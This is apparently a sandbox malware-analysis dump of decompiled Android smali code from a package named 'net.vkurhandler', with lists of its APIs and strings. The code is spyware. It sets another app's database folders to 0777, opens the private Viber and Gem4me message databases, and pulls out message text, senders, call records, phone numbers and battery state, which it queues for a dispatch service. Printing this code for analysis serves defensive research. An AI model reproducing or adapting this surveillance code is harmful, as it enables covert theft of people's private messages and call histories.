                    37const-string v5, "messenger_rt_viber_last_update_ms"
                    39invoke-static {}, Lnet/vkurhandler/MyApp;->a()J
                    40move-result-wide v6
                    42invoke-interface {v4, v5, v6, v7}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    43move-result-wide v12
                    44if-eqz v2, :cond_299
                    46const-string v2, "/data/data/com.viber.voip/databases/viber_messages"
                    47const/4 v4, 0x0
                    48const/16 v5, 0x11
                    50invoke-static {v2, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    51try_end_46: move-result-object v2
                    52try_start_47:
                    53const-string v3, "messages"
                    55sget-object v4, Lnet/vkurhandler/dq;->k:[Ljava/lang/String;
                    56new-instance v5, Ljava/lang/StringBuilder;
                    58const-string v6, "status != 0 AND (extra_mime = \'text\' OR extra_mime = \'call\') AND date > "
                    60invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    62invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    63move-result-object v5
                    65invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    66move-result-object v5
                    67const/4 v6, 0x0
                    68const/4 v7, 0x0
                    69const/4 v8, 0x0
                    70const/4 v9, 0x0
                    72invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    73try_end_61: move-result-object v3
                    74goto_62: const/4 v4, 0x0
                    75move v6, v4
                    76move-wide v4, v12
                    77goto_65:
                    78invoke-interface {v3}, Landroid/database/Cursor;->moveToNext()Z
                    79move-result v7
                    80if-nez v7, :cond_b8
                    81if-eqz v6, :cond_85
                    82move-object/from16 v0, p0
                    84iget-object v6, v0, Lnet/vkurhandler/dq;->g:Landroid/content/SharedPreferences;
                    86invoke-interface {v6}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    87move-result-object v6
                    89const-string v7, "messenger_rt_viber_last_update_ms"
                    91invoke-interface {v6, v7, v4, v5}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    92move-result-object v4
                    94invoke-interface {v4}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    95move-object/from16 v0, p0
                    97iget-object v4, v0, Lnet/vkurhandler/dq;->d:Landroid/content/Context;
                    99invoke-static {v4}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    100goto_85: if-eqz v3, :cond_8a
                    101try_start_87:
                    102invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    103cond_8a: if-eqz v2, :cond_95
                    105invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    106move-result v3
                    107if-eqz v3, :cond_95
                    109invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    110cond_95: return-void
                    111catch_96: move-exception v3
                    112if-eqz v10, :cond_9c
                    113try_start_99:
                    114invoke-interface {v10}, Landroid/database/Cursor;->close()V
                    115cond_9c:
                    116const-string v3, "messages"
                    118sget-object v4, Lnet/vkurhandler/dq;->l:[Ljava/lang/String;
                    119new-instance v5, Ljava/lang/StringBuilder;
                    121const-string v6, "status != 0 AND msg_date > "
                    123invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    125invoke-virtual {v5, v12, v13}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    126move-result-object v5
                    128invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    129move-result-object v5
                    130const/4 v6, 0x0
                    131const/4 v7, 0x0
                    132const/4 v8, 0x0
                    133const/4 v9, 0x0
                    135invoke-virtual/range {v2 .. v9}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    136try_end_b6: move-result-object v3
                    137goto/16 :goto_62
                    138cond_b8: const/4 v6, 0x0
                    139try_start_b9:
                    140invoke-interface {v3, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    141move-result-object v13
                    142const/4 v6, 0x1
                    144invoke-interface {v3, v6}, Landroid/database/Cursor;->getInt(I)I
                    145move-result v6
                    146const/4 v7, 0x1
                    147if-ne v6, v7, :cond_172
                    148const/4 v6, 0x1
                    149move v12, v6
                    150goto_c7: const/4 v6, 0x2
                    152invoke-interface {v3, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    153move-result-object v14
                    154const/4 v6, 0x3
                    156invoke-interface {v3, v6}, Landroid/database/Cursor;->getLong(I)J
                    157move-result-wide v10
                    158const/4 v6, 0x1
                    160invoke-static {v6, v10, v11}, Lnet/vkurhandler/gn;->a(ZJ)Ljava/lang/String;
                    161move-result-object v15
                    162const/4 v6, 0x4
                    164invoke-interface {v3, v6}, Landroid/database/Cursor;->getInt(I)I
                    165move-result v16
                    166const/4 v6, 0x5
                    168invoke-interface {v3, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    169move-result-object v17
                    170const/4 v6, 0x6
                    172invoke-interface {v3, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    173move-result-object v18
                    174cmp-long v6, v10, v4
                    175if-lez v6, :cond_296
                    176move-wide v8, v10
                    177goto_ea: if-eqz v12, :cond_176
                    178move-object/from16 v0, p0
                    180invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dq;->b(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    181move-result-object v5
                    182new-instance v4, Ljava/lang/StringBuilder;
                    183move-object/from16 v0, p0
                    185invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dq;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    186move-result-object v6
                    188invoke-static {v6}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    189move-result-object v6
                    191invoke-direct {v4, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    193const-string v6, " "
                    195invoke-virtual {v4, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    196move-result-object v4
                    198invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    199move-result-object v4
                    201invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    202move-result-object v6
                    204invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dq;->l()Ljava/lang/String;
                    205move-result-object v7
                    206move-object/from16 v0, p0
                    208invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dq;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    209move-result-object v4
                    210goto_119: const/4 v13, 0x1
                    212const-string v19, "text"
                    213move-object/from16 v0, v19
                    214move-object/from16 v1, v18
                    216invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    217move-result v19
                    218if-nez v19, :cond_132
                    220const-string v19, "0"
                    221move-object/from16 v0, v19
                    222move-object/from16 v1, v18
                    224invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    225move-result v19
                    226if-eqz v19, :cond_1ab
                    227cond_132: move-object/from16 v0, p0
                    229invoke-virtual {v0, v14, v7, v6}, Lnet/vkurhandler/dq;->a(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Z
                    230move-result v4
                    231if-eqz v4, :cond_233
                    233invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    234move-result-object v4
                    236const-string v5, "type"
                    237const/4 v10, 0x1
                    239invoke-virtual {v4, v5, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    241const-string v5, "date"
                    243invoke-virtual {v4, v5, v15}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    245const-string v5, "message"
                    247invoke-virtual {v4, v5, v14}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    249const-string v5, "sub_type"
                    250const/16 v10, 0x8
                    252invoke-virtual {v4, v5, v10}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    254const-string v5, "sender"
                    256invoke-virtual {v4, v5, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    258const-string v5, "peer"
                    260invoke-virtual {v4, v5, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    262const-string v5, "is_out"
                    264invoke-virtual {v4, v5, v12}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    266const-string v5, "dialog_id"
                    267move-object/from16 v0, v17
                    269invoke-virtual {v4, v5, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    271invoke-static {v4}, Lnet/vkurhandler/bf;->a(Lnet/vkurhandler/be;)V
                    272move v6, v13
                    273move-wide v4, v8
                    274goto/16 :goto_65
                    275cond_172: const/4 v6, 0x0
                    276move v12, v6
                    277goto/16 :goto_c7
                    278cond_176: new-instance v4, Ljava/lang/StringBuilder;
                    279move-object/from16 v0, p0
                    281invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dq;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    282move-result-object v5
                    284invoke-static {v5}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    285move-result-object v5
                    287invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    289const-string v5, " "
                    291invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    292move-result-object v4
                    293move-object/from16 v0, p0
                    295invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dq;->b(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    296move-result-object v5
                    298invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    299move-result-object v4
                    301invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    302move-result-object v7
                    304invoke-direct/range {p0 .. p0}, Lnet/vkurhandler/dq;->l()Ljava/lang/String;
                    305move-result-object v6
                    306move-object/from16 v0, p0
                    308invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dq;->b(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    309move-result-object v5
                    310move-object/from16 v0, p0
                    312invoke-direct {v0, v2, v13}, Lnet/vkurhandler/dq;->a(Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
                    313move-result-object v4
                    314goto/16 :goto_119
                    315cond_1ab:
                    316const-string v6, "1002"
                    317move-object/from16 v0, v18
                    319invoke-virtual {v6, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    320move-result v6
                    321if-eqz v6, :cond_233
                    322move-object/from16 v0, p0
                    324iget-object v6, v0, Lnet/vkurhandler/dq;->h:Landroid/content/SharedPreferences;
                    326const-string v7, "messenger_rt_viber_transmit_call"
                    327const/4 v12, 0x0
                    329invoke-interface {v6, v7, v12}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    330move-result v6
                    331if-eqz v6, :cond_233
                    332move-object/from16 v0, p0
                    334invoke-direct {v0, v14}, Lnet/vkurhandler/dq;->a(Ljava/lang/String;)I
                    335move-result v6
                    336move-object/from16 v0, p0
                    337move/from16 v1, v16
                    339invoke-direct {v0, v2, v1}, Lnet/vkurhandler/dq;->a(Landroid/database/sqlite/SQLiteDatabase;I)I
                    340move-result v7
                    342invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    343move-result-object v12
                    345const-string v14, "type"
                    346const/16 v16, 0x1
                    347move/from16 v0, v16
                    349invoke-virtual {v12, v14, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    351const-string v14, "date"
                    353invoke-virtual {v12, v14, v15}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    355const-string v14, "sub_type"
                    356const/16 v15, 0x10
                    358invoke-virtual {v12, v14, v15}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    360const-string v14, "call_type"
                    362invoke-virtual {v12, v14, v6}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    364const-string v6, "phone_number"
                    366invoke-virtual {v12, v6, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    368const-string v5, "name"
                    370invoke-virtual {v12, v5, v4}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    372const-string v4, "duration"
                    374invoke-virtual {v12, v4, v7}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    376const-string v4, "call_id"
                    378invoke-virtual {v12, v4, v10, v11}, Lnet/vkurhandler/be;->a(Ljava/lang/String;J)V
                    380const-string v4, "bat_level"
                    381move-object/from16 v0, p0
                    383iget-object v5, v0, Lnet/vkurhandler/dq;->d:Landroid/content/Context;
                    385invoke-static {v5}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    386move-result-object v5
                    388invoke-virtual {v5}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    389move-result-object v5
                    391invoke-virtual {v5}, Lnet/vkurhandler/ce;->a()I
                    392move-result v5
                    394invoke-virtual {v12, v4, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    396const-string v4, "charger"
                    397move-object/from16 v0, p0
                    399iget-object v5, v0, Lnet/vkurhandler/dq;->d:Landroid/content/Context;
                    401invoke-static {v5}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    402move-result-object v5
                    404invoke-virtual {v5}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    405move-result-object v5
                    407invoke-virtual {v5}, Lnet/vkurhandler/ce;->b()Z
                    408move-result v5
                    410invoke-virtual {v12, v4, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    411move-object/from16 v0, p0
                    413iget-object v4, v0, Lnet/vkurhandler/dq;->d:Landroid/content/Context;
                    415invoke-static {v4, v12}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    416try_end_233: move v6, v13
                    417move-wide v4, v8
                    418goto/16 :goto_65
                    419catch_237: move-exception v2
                    420move-object v4, v3
                    421move-object v3, v10
                    422goto_23a:
                    423const-string v5, "RTViber"
                    425invoke-static {v5, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    426try_end_23f: if-eqz v3, :cond_244
                    427try_start_241:
                    428invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    429cond_244: if-eqz v4, :cond_95
                    431invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    432move-result v2
                    433if-eqz v2, :cond_95
                    435invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    436try_end_24f: goto/16 :goto_95
                    437catch_251: move-exception v2
                    439const-string v3, "RTViber"
                    441invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    442goto/16 :goto_95
                    443catchall_259: move-exception v2
                    444move-object v4, v3
                    445move-object v3, v10
                    446goto_25c: if-eqz v3, :cond_261
                    447try_start_25e:
                    448invoke-interface {v3}, Landroid/database/Cursor;->close()V
                    449cond_261: if-eqz v4, :cond_26c
                    451invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    452move-result v3
                    453if-eqz v3, :cond_26c
                    455invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    456goto_26c: throw v2
                    457catch_26d: move-exception v3
                    459const-string v4, "RTViber"
                    461invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    462goto/16 :goto_26c
                    463catch_274: move-exception v2
                    465const-string v3, "RTViber"
                    467invoke-static {v3, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    468goto/16 :goto_95
                    469catchall_27c: move-exception v3
                    470move-object v4, v2
                    471move-object v2, v3
                    472move-object v3, v10
                    473goto/16 :goto_25c
                    474catchall_281: move-exception v4
                    475move-object/from16 v20, v4
                    476move-object v4, v2
                    477move-object/from16 v2, v20
                    478goto/16 :goto_25c
                    479catchall_288: move-exception v2
                    480goto/16 :goto_25c
                    481catch_28a: move-exception v3
                    482move-object v4, v2
                    483move-object v2, v3
                    484move-object v3, v10
                    485goto/16 :goto_23a
                    486catch_28f: move-exception v4
                    487move-object/from16 v20, v4
                    488move-object v4, v2
                    489move-object/from16 v2, v20
                    490goto/16 :goto_23a
                    491cond_296: move-wide v8, v4
                    492goto/16 :goto_ea
                    493cond_299: move-object v2, v3
                    494move-object v3, v10
                    495goto/16 :goto_85
                    APIs
                    • android.database.sqlite.SQLiteDatabase.openDatabase
                    • net.vkurhandler.dg.a
                    • net.vkurhandler.dg.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getLong
                    • net.vkurhandler.dg.k:[Ljava/lang/String
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • android.database.sqlite.SQLiteDatabase.query
                    • android.database.Cursor.moveToNext
                    • net.vkurhandler.dg.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • net.vkurhandler.dg.d:Landroid/content/Context
                    • net.vkurhandler.DispatchService.a
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • android.database.Cursor.getString
                    • android.database.Cursor.getLong
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getString
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getInt
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.Boolean.valueOf
                    • java.lang.Long.valueOf
                    • java.lang.String.format
                    • net.vkurhandler.dg.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.dg.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • java.io.File.getName
                    • java.io.File.getAbsolutePath
                    • net.vkurhandler.MyApp.f
                    • net.vkurhandler.dg.l
                    • net.vkurhandler.MyApp.f
                    • net.vkurhandler.dg.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.dg.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.dg.d:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.dg.d:Landroid/content/Context
                    • net.vkurhandler.dg.h:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.dg.a
                    • org.json.JSONObject.getString
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    • android.database.Cursor.close
                    • android.database.sqlite.SQLiteDatabase.isOpen
                    • android.database.sqlite.SQLiteDatabase.close
                    Strings
                    • /data/data/com.gemtechnologies.gem4me/databases/*
                    • 0777
                    • /data/data/com.gemtechnologies.gem4me/databases/
                    • /data/data/com.gemtechnologies.gem4me/databases/gem_db
                    • last_g4m_update_date
                    • MESSAGE
                    • TIMESTAMP >
                    • unknown
                    • Text
                    • recieverPhone
                    • startTs
                    • groupName
                    • duration
                    • RTgem4me
                    • %s,%s,%d,%s,%b,%s,%d
                    • messenger_rt_gem4me_record_call
                    • audiorecord_type
                    • type
                    • sub_type
                    • date
                    • call_type
                    • call_id
                    • phone_number
                    • name
                    • file_name
                    • absolute_file_path
                    • messenger_rt_gem4me_transmit_call
                    • bat_level
                    • charger
                    • messenger_rt_gem4me
                    • message
                    • sender
                    • peer
                    • is_out
                    • dialog_id
                    • callerPhone
                    Position Instruction Meta Information
                    0move-object/from16 v0, p0
                    1iget-wide v4, v0, Lnet/vkurhandler/dg;->c:J
                    3invoke-static {v4, v5}, Lnet/vkurhandler/gn;->a(J)V
                    4const/4 v5, 0x0
                    5const/4 v12, 0x0
                    6try_start_9:
                    7const-string v4, "/data/data/com.gemtechnologies.gem4me/databases/*"
                    9const-string v6, "0777"
                    10const/4 v7, 0x1
                    12invoke-static {v4, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    14const-string v4, "/data/data/com.gemtechnologies.gem4me/databases/"
                    16const-string v6, "0777"
                    17const/4 v7, 0x1
                    19invoke-static {v4, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    21const-string v4, "/data/data/com.gemtechnologies.gem4me/databases/gem_db"
                    23const-string v6, "0777"
                    24const/4 v7, 0x1
                    26invoke-static {v4, v6, v7}, Lnet/vkurhandler/ec;->a(Ljava/lang/String;Ljava/lang/String;Z)V
                    28const-string v4, "/data/data/com.gemtechnologies.gem4me/databases/gem_db"
                    29const/4 v6, 0x0
                    30const/16 v7, 0x11
                    32invoke-static {v4, v6, v7}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
                    33try_end_29: move-result-object v4
                    34try_start_2a: move-object/from16 v0, p0
                    36invoke-direct {v0, v4}, Lnet/vkurhandler/dg;->a(Landroid/database/sqlite/SQLiteDatabase;)J
                    37move-result-wide v14
                    38move-object/from16 v0, p0
                    40iget-object v5, v0, Lnet/vkurhandler/dg;->g:Landroid/content/SharedPreferences;
                    42const-string v6, "last_g4m_update_date"
                    43const-wide/16 v8, 0x0
                    45invoke-interface {v5, v6, v8, v9}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    46move-result-wide v6
                    47move-object/from16 v0, p0
                    48iput-wide v6, v0, Lnet/vkurhandler/dg;->n:J
                    49move-object/from16 v0, p0
                    50iget-wide v6, v0, Lnet/vkurhandler/dg;->n:J
                    51cmp-long v5, v14, v6
                    52if-lez v5, :cond_9c
                    53const/4 v5, 0x1
                    54goto_49: if-eqz v5, :cond_39e
                    56const-string v5, "MESSAGE"
                    58sget-object v6, Lnet/vkurhandler/dg;->k:[Ljava/lang/String;
                    59new-instance v7, Ljava/lang/StringBuilder;
                    61const-string v8, "TIMESTAMP > "
                    63invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    64move-object/from16 v0, p0
                    65iget-wide v8, v0, Lnet/vkurhandler/dg;->n:J
                    67invoke-virtual {v7, v8, v9}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    68move-result-object v7
                    70invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    71move-result-object v7
                    72const/4 v8, 0x0
                    73const/4 v9, 0x0
                    74const/4 v10, 0x0
                    75const/4 v11, 0x0
                    77invoke-virtual/range {v4 .. v11}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    78try_end_69: move-result-object v10
                    79const/4 v5, 0x0
                    80goto_6b:
                    81invoke-interface {v10}, Landroid/database/Cursor;->moveToNext()Z
                    82move-result v6
                    83if-nez v6, :cond_9e
                    84if-eqz v5, :cond_8b
                    85move-object/from16 v0, p0
                    87iget-object v5, v0, Lnet/vkurhandler/dg;->g:Landroid/content/SharedPreferences;
                    89invoke-interface {v5}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    90move-result-object v5
                    92const-string v6, "last_g4m_update_date"
                    94invoke-interface {v5, v6, v14, v15}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    95move-result-object v5
                    97invoke-interface {v5}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    98move-object/from16 v0, p0
                    100iget-object v5, v0, Lnet/vkurhandler/dg;->d:Landroid/content/Context;
                    102invoke-static {v5}, Lnet/vkurhandler/DispatchService;->a(Landroid/content/Context;)V
                    103cond_8b: if-eqz v10, :cond_90
                    104try_start_8d:
                    105invoke-interface {v10}, Landroid/database/Cursor;->close()V
                    106cond_90: if-eqz v4, :cond_9b
                    108invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
                    109move-result v5
                    110if-eqz v5, :cond_9b
                    112invoke-virtual {v4}, Landroid/database/sqlite/SQLiteDatabase;->close()V
                    113cond_9b: return-void
                    114cond_9c: const/4 v5, 0x0
                    115goto/16 :goto_49
                    116cond_9e: const/4 v5, 0x0
                    117try_start_9f:
                    118invoke-interface {v10, v5}, Landroid/database/Cursor;->getInt(I)I
                    119move-result v13
                    120const/4 v5, 0x1
                    122invoke-interface {v10, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    123move-result-object v16
                    124const/4 v5, 0x2
                    126invoke-interface {v10, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    127move-result-object v17
                    128const/4 v5, 0x3
                    130invoke-interface {v10, v5}, Landroid/database/Cursor;->getLong(I)J
                    131move-result-wide v18
                    132const/4 v5, 0x4
                    134invoke-interface {v10, v5}, Landroid/database/Cursor;->getInt(I)I
                    135move-result v5
                    136if-nez v5, :cond_309
                    137const/4 v5, 0x1
                    138move v12, v5
                    139goto_bb: const/4 v5, 0x5
                    141invoke-interface {v10, v5}, Landroid/database/Cursor;->getInt(I)I
                    142move-result v20
                    143const/4 v5, 0x6
                    145invoke-interface {v10, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    146move-result-object v21
                    148const-string v9, ""
                    149const/4 v11, 0x0
                    151const-string v8, ""
                    153const-string v7, ""
                    154const/4 v6, 0x0
                    156const-string v22, "unknown"
                    157try_end_cf: new-instance v5, Lorg/json/JSONObject;
                    158move-object/from16 v0, v17
                    160invoke-direct {v5, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    161const/16 v17, 0xd
                    162move/from16 v0, v20
                    163move/from16 v1, v17
                    164if-ne v0, v1, :cond_e6
                    166const-string v17, "Text"
                    167move-object/from16 v0, v17
                    169invoke-virtual {v5, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    170move-result-object v9
                    171cond_e6: const/16 v17, 0xf
                    172move/from16 v0, v20
                    173move/from16 v1, v17
                    174if-ne v0, v1, :cond_31f
                    175if-eqz v12, :cond_30d
                    177const-string v17, "recieverPhone"
                    178move-object/from16 v0, v17
                    180invoke-virtual {v5, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    181move-result-object v8
                    182goto_f8:
                    183const-string v17, "startTs"
                    184move-object/from16 v0, v17
                    186invoke-virtual {v5, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    187move-result v6
                    189const-string v17, "groupName"
                    190move-object/from16 v0, v17
                    192invoke-virtual {v5, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    193move-result-object v7
                    195const-string v17, "duration"
                    196move-object/from16 v0, v17
                    198invoke-virtual {v5, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    199try_end_10f: move-result v5
                    200move-object v11, v9
                    201move v9, v5
                    202try_start_112:
                    203invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    204move-result v5
                    205if-eqz v5, :cond_153
                    207const-string v5, "RTgem4me"
                    209const-string v17, "%s,%s,%d,%s,%b,%s,%d"
                    210const/16 v23, 0x7
                    211move/from16 v0, v23
                    212new-array v0, v0, [Ljava/lang/Object;
                    213move-object/from16 v23, v0
                    214const/16 v24, 0x0
                    215aput-object v21, v23, v24
                    216const/16 v24, 0x1
                    217aput-object v22, v23, v24
                    218const/16 v24, 0x2
                    220invoke-static {v13}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    221move-result-object v13
                    222aput-object v13, v23, v24
                    223const/4 v13, 0x3
                    224aput-object v16, v23, v13
                    225const/4 v13, 0x4
                    227invoke-static {v12}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    228move-result-object v24
                    229aput-object v24, v23, v13
                    230const/4 v13, 0x5
                    231aput-object v11, v23, v13
                    232const/4 v13, 0x6
